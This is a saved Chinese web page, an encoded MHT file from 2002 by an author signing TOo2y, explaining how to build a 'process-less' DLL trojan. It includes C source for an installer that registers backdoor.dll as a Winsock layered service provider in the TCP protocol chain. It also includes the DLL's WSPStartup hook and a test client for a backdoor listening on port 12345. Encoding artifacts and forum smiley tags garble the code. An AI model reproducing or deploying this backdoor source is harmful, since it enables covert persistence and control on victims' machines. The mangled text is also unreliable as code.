📄 无进程dll木马的又一开发思路与实现.mht
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=D2=E5IP=B7=D6=B2=E3=D0=AD=D2=E9=B5=C4=D3=C9Ws2_32.dll=B7=D6=C5=E4=B5=C4=CE=
=A8=D2=BB=B1=EA=D6=BE<BR>nextlayerid=3Dlpprotoinfo->ProtocolChain.Chai=
nEntries[i+1];<BR>//=BB=F1=B5=C3=CF=C2=D2=BB=B2=E3=B4=AB=CA=E4=B7=FE=CE=F1=
=CC=E1=B9=A9=D5=DF=B5=C4=B1=EA=D6=BE=D0=C5=CF=A2<BR>WSCGetProviderPath(&a=
mp;protoinfo<I>.ProviderId,filterpath,&filterpathlen,&errorcode)=A3=
=BB<BR>//=BB=F1=B5=C3=CF=C2=D2=BB=B2=E3=B4=AB=CA=E4=B7=FE=CE=F1=CC=E1=B9=A9=
=D5=DF=B5=C4=B0=B2=D7=B0=C2=B7=BE=B6<BR>ExpandEnvironmentStrings(filterpa=
th,filterpath,MAX_PATH)=A3=BB<BR>//=C0=A9=D5=B9=BB=B7=BE=B3=B1=E4=C1=BF<B=
R>hfilter=3DLoadLibrary(filterpath))=A3=BB<BR>//=D7=B0=D4=D8=CF=C2=D2=BB=B2=
=E3=B4=AB=CA=E4=B7=FE=CE=F1=CC=E1=B9=A9=D5=DF<BR>wspstartupfunc=3D(LPWSPS=
TARTUP)GetProcAddress(hfilter,"WSPStartup"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>)=A3=BB<BR>//=BB=F1=B5=C3=CF=C2=D2=BB=B2=E3=B4=AB=CA=E4=B7=FE=CE=
=F1=CC=E1=B9=A9=D5=DF=B5=C4=C8=EB=BF=DA=BA=AF=CA=FDWSPStartup,=D2=D4=B1=E3=
=B5=F7=D3=C3<BR>wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,up=
calltable,lpproctable)=A3=BB<BR>//=B5=F7=D3=C3=CF=C2=D2=BB=B2=E3=B4=AB=CA=
=E4=B7=FE=CE=F1=CC=E1=B9=A9=D5=DF=B5=C4WSPStartup=BA=AF=CA=FD=A3=AC=CA=B5=
=CF=D6=B9=B3=D7=D3=B9=A6=C4=DC<BR>nextproctable=3D*lpproctable;<BR>//=B1=A3=
=B4=E6=CF=C2=D2=BB=B2=E3=B7=FE=CE=F1=CC=E1=B9=A9=D5=DF=B5=C430=B8=F6=B7=FE=
=CE=F1=BA=AF=CA=FD=D6=B8=D5=EB<BR><BR><BR>=D3=C9=D3=DA=D2=D4=B6=AF=CC=AC=C1=
=B4=BD=D3=BF=E2=D0=CE=CA=BD=B5=C4=B7=FE=CE=F1=CC=E1=B9=A9=D5=DF=D2=AA=CF=F2=
=CD=E2=CC=E1=B9=A9=D2=BB=B8=F6=C8=EB=BF=DA=BA=AF=CA=FD=A3=AC=D2=F2=B4=CB=BB=
=B9=D0=EB=D2=BB=B8=F6=C5=E4=D6=C3=CE=C4=BC=FEbackdoor.def:<BR>EXPORTS=20
=
WSPStartup<BR>//=CF=F2=CD=E2=CC=E1=B9=A9=C8=EB=BF=DA=BA=AF=CA=FDWSPStartu=
p<BR><BR><BR>3.testBD.exe<BR>=D5=E2=CA=C7=D2=BB=B8=F6=B2=E2=CA=D4=B3=CC=D0=
=F2=A3=AC=D3=C3=C0=B4=BC=EC=B2=E2=C4=BE=C2=ED=B5=C4=B7=FE=CE=F1=C6=F7=B6=CB=
=CA=C7=B7=F1=D5=FD=B3=A3=B9=A4=D7=F7=A1=A3=D4=DA=CB=FC=B7=A2=CB=CD=CC=D8=B6=
=A8=B5=C4=CF=FB=CF=A2=B5=BD=B7=FE=CE=F1=C6=F7=B6=CB=BA=F3=A3=AC=C8=E7=B9=FB=
=B7=FE=CE=F1=C6=F7=D5=FD=B3=A3=B9=A4=D7=F7=BE=CD=BB=E1=BB=D8=CB=CD=CC=D8=B6=
=A8=B5=C4=CF=FB=CF=A2=A3=AC=B7=B4=D6=AE=D4=F2=B2=BB=BB=E1=CA=D5=B5=BD=C8=CE=
=BA=CE=CF=FB=CF=A2=A1=A3=D3=C9=D3=DA=C4=BE=C2=ED=B5=C4=B7=FE=CE=F1=C6=F7=D4=
=DATCP=B5=C412345=B6=CB=BF=DA=BC=E0=CC=FD=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=B5=
=C4=BF=CD=BB=A7=B6=CB=D2=B2=CA=C7=BB=F9=D3=DATCP=D0=AD=D2=E9=B5=C4=A1=A3<=
BR><BR><BR>=CE=E5=A3=A9=D0=A1=BD=E1=D3=EB=BA=F3=BC=C7<BR>=B1=BE=CE=C4=B5=C4=
=C4=BF=B5=C4=D4=DA=D3=DA=CF=F2=B4=F3=BC=D2=BD=E9=C9=DC=D2=BB=D6=D6=B1=E0=B3=
=CC=CB=BC=C2=B7=A3=AC=B9=CC=B2=BB=CA=C7=C8=CE=BA=CE=B5=C4=C4=BE=C2=ED=BD=CC=
=B3=CC=A1=A3=C6=E4=CA=B5=D6=BB=D3=D0=D4=DA=B2=BB=B6=CF=B5=C4=B6=D4=BF=B9=D6=
=D0=A3=AC=BC=BC=CA=F5=BA=CD=CB=BC=C2=B7=B2=C5=BB=E1=B2=BB=B6=CF=B5=C4=CC=E1=
=B8=DF=A1=A3=CE=D2=C3=C7=D6=BB=D3=D0=B3=E4=B7=D6=B5=C4=C1=CB=BD=E2=C1=CB=B8=
=F7=D6=D6=BC=BC=CA=F5=A3=AC=C9=F5=D6=C1=D3=D0=C7=B0=D5=B0=B5=C4=C4=DC=C1=A6=
=B2=C5=C4=DC=CE=AC=BB=A4=BA=C3=CD=F8=C2=E7=D6=C8=D0=F2=A3=AC=B4=D9=BD=F8=CD=
=F8=C2=E7=B0=B2=C8=AB=B5=C4=B7=A2=D5=B9=A1=A3=D7=EE=BA=F3=CB=CD=B8=F8=B4=F3=
=BC=D2=D2=BB=BE=E4=C0=CF=BB=B0=A3=BA=D6=AA=BC=BA=D6=AA=B1=CB=A3=AC=B0=D9=D5=
=BD=B2=BB=B4=F9=A1=A3<BR><BR><BR>=C1=F9=A3=A9=B8=BD=C2=BC=D6=AE=D4=B4=B4=FA=
=C2=EB<BR>1.instBD.exe=B5=C4=D4=B4=B4=FA=C2=EB<BR><BR>#define=20
UNICODE<BR>#define _UNICODE<BR><BR>#include=20
<stdio.h><BR>#include =
<tchar.h><BR>#include=20
<string.h><BR>#include=20
<ws2spi.h><BR>#include=20
<sporder.h><BR><BR><BR>GUID=20
=
filterguid=3D{0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x8=
6,0x0d}};<BR><BR>GUID=20
=
filterchainguid=3D{0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xa=
d,0x86,0x0d}};<BR><BR>BOOL=20
getfilter();<BR>void freefilter();<BR>void=20
installfilter();<BR>void removefilter();<BR>void =
start();<BR>void usage();<BR><BR>int=20
totalprotos=3D0;<BR>DWORD=20
protoinfosize=3D0;<BR>LPWSAPROTOCOL_INFOW=20
protoinfo=3DNULL;<BR><BR>int main(int argc,char=20
=
*argv[])<BR>{<BR>start();<BR><BR>if(argc=3D=3D2)<BR>{<BR>if(!strcmp(argv[=
1],"-install"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
border=3D0>)<BR>{<BR>installfilter();<BR>return=20
0;<BR>}<BR>else if(!strcmp(argv[1],"-remove"<IMG =
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
border=3D0>)<BR>{<BR>removefilter();<BR>return=20
0;<BR>}<BR>}<BR>usage();<BR>return =
0;<BR>}<BR><BR>BOOL=20
getfilter()<BR>{<BR>int=20
=
errorcode;<BR><BR>protoinfo=3DNULL;<BR>totalprotos=3D0;<BR>protoinfosize=3D=
0;<BR><BR>if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&erro=
rcode)=3D=3DSOCKET_ERROR)<BR>{<BR>if(errorcode!=3DWSAENOBUFS)<BR>{<BR>pri=
ntf("First=20
WSCEnumProtocols Error: =
%d\n",errorcode);<BR>return=20
=
FALSE;<BR>}<BR>}<BR><BR>if((protoinfo=3D(LPWSAPROTOCOL_INFOW)GlobalAlloc(=
GPTR,protoinfosize))=3D=3DNULL)<BR>{<BR>printf("GlobalAlloc=20
in getfilter Error: =
%d\n",GetLastError());<BR>return=20
=
FALSE;<BR>}<BR><BR>if((totalprotos=3DWSCEnumProtocols(NULL,protoinfo,&=
;protoinfosize,&errorcode))=3D=3DSOCKET_ERROR)<BR>{<BR>printf("Second=
=20
WSCEnumProtocols Error: =
%d\n",GetLastError());<BR>return=20
FALSE;<BR>}<BR><BR>printf("Found %d=20
protocols!\n",totalprotos); <BR>return=20
TRUE;<BR>}<BR><BR>void=20
=
freefilter()<BR>{<BR>GlobalFree(protoinfo);<BR>}<BR><BR>void=20
installfilter()<BR>{<BR>int i;<BR>int =
provcnt;<BR>int=20
cataindex;<BR>int errorcode;<BR>BOOL=20
rawip=3DFALSE;<BR>BOOL tcpip=3DFALSE;<BR>DWORD=20
iplayercataid=3D0,tcporigcataid; <BR>TCHAR=20
filter_path[MAX_PATH]; <BR>TCHAR=20
filter_name[MAX_PATH];<BR>TCHAR=20
chainname[WSAPROTOCOL_LEN+1]; <BR>LPDWORD=20
cataentries;<BR>WSAPROTOCOL_INFOW=20
=
iplayerinfo,tcpchaininfo,chainarray[1];<BR><BR>getfilter();<BR><BR>for(i=3D=
0;i<totalprotos;i++)<BR>{<BR>if(!rawip<BR>&&=20
=
protoinfo<I>.iAddressFamily=3D=3DAF_INET<BR>&&=20
=
protoinfo<I>.iProtocol=3D=3DIPPROTO_IP)<BR>{<BR>rawip=3DTRUE;<BR>memcpy(&=
amp;iplayerinfo,&protoinfo<I>,sizeof(WSAPROTOCOL_INFOW));<BR>iplayeri=
nfo.dwServiceFlags1=3Dprotoinfo<I>.dwServiceFlags1=20
&=20
=
(~XP1_IFS_HANDLES);<BR>}<BR><BR>if(!tcpip<BR>&&=20
=
protoinfo<I>.iAddressFamily=3D=3DAF_INET<BR>&&=20
protoinfo<I>.iProtocol=3D=3DIPPROTO_TCP)=20
=
<BR>{<BR>tcpip=3DTRUE;<BR>tcporigcataid=3Dprotoinfo<I>.dwCatalogEntryId;<=
BR>memcpy(&tcpchaininfo,&protoinfo<I>,sizeof(WSAPROTOCOL_INFOW));=
<BR>tcpchaininfo.dwServiceFlags1=3Dprotoinfo<I>.dwServiceFlags1=20
&=20
=
(~XP1_IFS_HANDLES);<BR>}<BR>}<BR><BR>_tcscpy(iplayerinfo.szProtocol,_TEXT=
("IP=20
FILTER"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>iplayerinfo.ProtocolChain.ChainLen=3DLAYERED_PROTOCOL;<B=
R><BR><BR>if(GetCurrentDirectory(MAX_PATH,filter_path)=3D=3D0)<BR>{<BR>pr=
intf("GetCurrentDirectory=20
Error: %d\n",GetLastError());<BR>return=20
=
;<BR>}<BR>_tcscpy(filter_name,_TEXT("\\backdoor.dll"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);=20
=
<BR>_tcscat(filter_path,filter_name);<BR><BR>if(WSCInstallProvider(&f=
ilterguid,filter_path,&iplayerinfo,1,&errorcode)=3D=3DSOCKET_ERRO=
R)<BR>{<BR>printf("WSCInstallProvider=20
Error: %d\n",errorcode);<BR>return=20
=
;<BR>}<BR><BR>freefilter();<BR><BR>getfilter();<BR><BR>for(i=3D0;i<tot=
alprotos;i++)<BR>{<BR>if(memcmp(&protoinfo<I>.ProviderId,&filterg=
uid,sizeof(GUID))=3D=3D0)<BR>{<BR>iplayercataid=3Dprotoinfo<I>.dwCatalogE=
ntryId;<BR>break;<BR>}<BR>}<BR><BR>provcnt=3D0;<BR>if(tcpip)<BR>{<BR>swpr=
intf(chainname,_TEXT("TCP=20
FILTER"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>_tcscpy(tcpchaininfo.szProtocol,chainname);<BR>if(tcpcha=
ininfo.ProtocolChain.ChainLen=3D=3DBASE_PROTOCOL)<BR>{<BR>tcpchaininfo.Pr=
otocolChain.ChainEntries[1]=3Dtcporigcataid;<BR>}<BR>else<BR>{<BR>for(i=3D=
tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)<BR>{<BR>tcpchaininfo.Prot=
ocolChain.ChainEntries[i+1]=3Dtcpchaininfo.ProtocolChain.ChainEntries<I>;=
<BR>}<BR>}<BR><BR>tcpchaininfo.ProtocolChain.ChainLen++;<BR>tcpchaininfo.=
ProtocolChain.ChainEntries[0]=3Diplayercataid;<BR><BR>memcpy(&chainar=
ray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));<BR>}<BR><BR>=
if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt=
,&errorcode)=3D=3DSOCKET_ERROR)<BR>{<BR>printf("WSCInstallProvider=20
for chain Error: %d\n",errorcode);<BR>return=20
=
;<BR>}<BR><BR>freefilter();<BR><BR>getfilter();<BR><BR>if((cataentries=3D=
(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))=3D=3DNU=
LL)<BR>{<BR>printf("GlobalAlloc=20
int installfilter Error: =
%d\n",errorcode);<BR>return=20
=
;<BR>}<BR><BR>cataindex=3D0;<BR>for(i=3D0;i<totalprotos;i++)<BR>{<BR>i=
f(memcmp(&protoinfo<I>.ProviderId,&filterguid,sizeof(GUID))=3D=3D=
0<BR>||=20
=
memcmp(&protoinfo<I>.ProviderId,&filterchainguid,sizeof(GUID))=3D=
=3D0)<BR>{<BR>cataentries[cataindex++]=3Dprotoinfo<I>.dwCatalogEntryId;<B=
R>}<BR>}<BR><BR>for(i=3D0;i<totalprotos;i++)<BR>{<BR>if(memcmp(&pr=
otoinfo<I>.ProviderId,&filterguid,sizeof(GUID))!=3D0<BR>&&=20
=
memcmp(&protoinfo<I>.ProviderId,&filterchainguid,sizeof(GUID))!=3D=
0)<BR>{<BR>cataentries[cataindex++]=3Dprotoinfo<I>.dwCatalogEntryId;<BR>}=
<BR>}<BR><BR>if((errorcode=3D=3DWSCWriteProviderOrder(cataentries,totalpr=
otos))!=3DERROR_SUCCESS)<BR>{<BR>printf("WSCWriteProviderOrder=20
Error: %d\n",GetLastError());<BR>return=20
;<BR>}<BR><BR>freefilter();<BR>}<BR><BR>void=20
removefilter()<BR>{<BR>int=20
=
errorcode;<BR><BR>if(WSCDeinstallProvider(&filterguid,&errorcode)=
=3D=3DSOCKET_ERROR)<BR>{<BR>printf("WSCDeinstall=20
filterguid Error:=20
=
%d\n",errorcode);<BR>}<BR><BR>if(WSCDeinstallProvider(&filterchaingui=
d,&errorcode)=3D=3DSOCKET_ERROR)<BR>{<BR>printf("WSCDeinstall=20
filterchainguid Error: =
%d\n",errorcode);<BR>}<BR>return=20
;<BR>}<BR><BR>void =
start()<BR>{<BR>printf("Install=20
BackDoor, by TOo2y\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>; =
<BR>printf("E-mail: <A=20
=
href=3D"mailto:TOo2y@safechina.net">TOo2y@safechina.net</A>\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle =
border=3D0>;<BR>printf("Homepage:<A=20
href=3D"http://www.safechina.net/n"=20
=
target=3D_blank>http://www.safechina.net/n</A>"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR>printf("Date:=20
11-3-2002\n\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR>return =
;<BR>}<BR>void=20
usage()<BR>{<BR>printf("instBD [ -install |=20
-remove]\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR>return=20
=
;<BR>}<BR><BR><BR>2.backdoor.dll=B5=C4=D4=B4=B4=FA=C2=EB<BR><BR>#pragma=20
data_seg("Shared"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0> <BR>int =
dllcount=3D0;<BR>#pragma=20
data_seg()<BR>#pragma comment=20
(linker,"/section:Shared,rws"<IMG=20
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